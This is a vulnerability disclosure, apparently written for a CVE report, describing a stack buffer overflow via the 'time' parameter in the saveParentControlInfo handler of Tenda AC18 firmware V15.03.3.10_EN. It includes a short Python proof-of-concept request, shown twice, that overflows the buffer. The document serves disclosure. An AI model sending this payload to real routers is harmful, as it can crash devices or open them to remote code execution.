Overview

Tenda AC18 V15.03.3.10_EN

Affected version

Tenda AC18 V15.03.3.10_EN

Vulnerability details

The Tenda AC18 V15.03.3.10_EN has a buffer overflow vulnerability located in the saveParentControlInfo function.The nptr variable receives the time parameter from a POST request. However, since the user has control over the input of time, the statement strcpy((char *)v18 + 34, nptr); leads to a buffer overflow. There is no size check, so the user-provided time can exceed the capacity of (char *)v18 + 34, thus triggering this security vulnerability. The attacker can easily perform a Deny of Service Attack or Remote Code Execution with carefully crafted overflow data.

Untitled

PoC

# saveParentControlInfo_2

import requests

ip = '192.168.0.100:80'

url = f"http://{ip}/goform/saveParentControlInfo"

data = {"time":"a"*999}

ret = requests.post(url, data)

Untitled

Additional Information

###Product_version
Tenda AC18 
V15.03.3.10_EN

###Affected_component
the "saveParentControlInfo" function of /bin/httpd; /bin/httpd

###Attack_vector
use a simple exp to attack, like this:
#python3
import requests
ip = '192.168.0.100:80'
url = f"http://{ip}/goform/saveParentControlInfo"
data = {"time":"a"*999}
ret = requests.post(url, data)

###Discription
Tenda AC18 V15.03.3.10_EN was discovered to contain a stack-based buffer overflow vulnerability via the time parameter at ip/goform/saveParentControlInfo.

###Refernce
<https://palm-vertebra-fe9.notion.site/saveParentControlInfo_2-89234d7fe29b4aa48a9f9ab71bd1a888>
<https://www.tendacn.com/hk/download/detail-3863.html>
<https://www.tendacn.com/hk/download/detail-3852.html>